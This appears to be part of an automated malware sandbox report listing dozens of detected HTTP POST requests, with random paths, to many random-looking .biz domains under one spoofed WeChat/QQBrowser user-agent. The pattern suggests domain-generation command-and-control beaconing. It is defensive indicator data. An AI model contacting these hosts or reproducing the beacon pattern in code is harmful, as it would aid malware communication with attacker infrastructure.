Source: global traffic	HTTP traffic detected: POST /vicdeig HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800
Source: global traffic	HTTP traffic detected: POST /fwyvvonbgan HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /wurutvkart HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /agsaomftijm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /hogxps HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /suoyjqbsciv HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /uuoiubsg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /dnirvyhujqwqnc HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /tkrvouqomflftlqp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /bdrtsxy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /len HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xlfhhhm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ubaevhdsrbjcmaql HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ifsaia.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /yeb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: saytjshyf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /kb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vcddkls.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ofmvo HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ckdrshko HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /qearwetpmwvhvwhi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /p HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: deoci.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /pubppqcmfqvto HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /hrtvnxyfpkjy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /vvo HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qaynky.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ql HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: bumxkqgxu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /swl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dwrqljrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /oekfiuj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: nqwjmb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /e HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ytctnunms.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /inljiti HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: myups.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /afgoll HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: myups.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /y HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: oshhkdluh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /dovasmbpdb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yunalwv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /arqypullvoovtl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yunalwv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /qtybvvfgdyqy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jpskm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /bdnjndwcxvdfjwt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lrxdmhrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /krccyasm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: wllvnzb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /tlre HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gnqgo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /tj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jhvzpcfg.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ewf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: acwjcqqv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /vdqmhlkrsphqhe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vyome.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /yqjotihouwfthlkr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yauexmxk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /oukjvuscvd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: iuzpxe.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ohp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: sxmiywsfv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /ava HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vrrazpdh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /xmqlmgb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ftxlah.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /os HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: typgfhb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /rwiegx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: esuzf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /vrhdofwiluexay HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /oomorpsdyukh HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qpnczch.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /og HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /qmncq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: oflybfv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /iboogqv HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yhqqc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /pcwhdleqsuu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mnjmhp.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /xcibcauw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: opowhhece.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /assjekuls HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jdhhbs.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /isekcf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /gneewdogqwseu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: warkcdu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /onpfurgnxg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gcedd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /roauatfpewvsf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jwkoeoqns.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /aixrt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xccjj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /moaxleedvt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: hehckyov.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /sspabsr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: rynmcq.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /qrtkifykhcnq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: uaafd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /sduodvbdxsrqja HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: eufxebus.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /guistk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pwlqfu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /taltetnl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: rrqafepng.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /s HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ctdtgwag.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
Source: global traffic	HTTP traffic detected: POST /yasnhmosjfaqm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tnevuluw.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 778
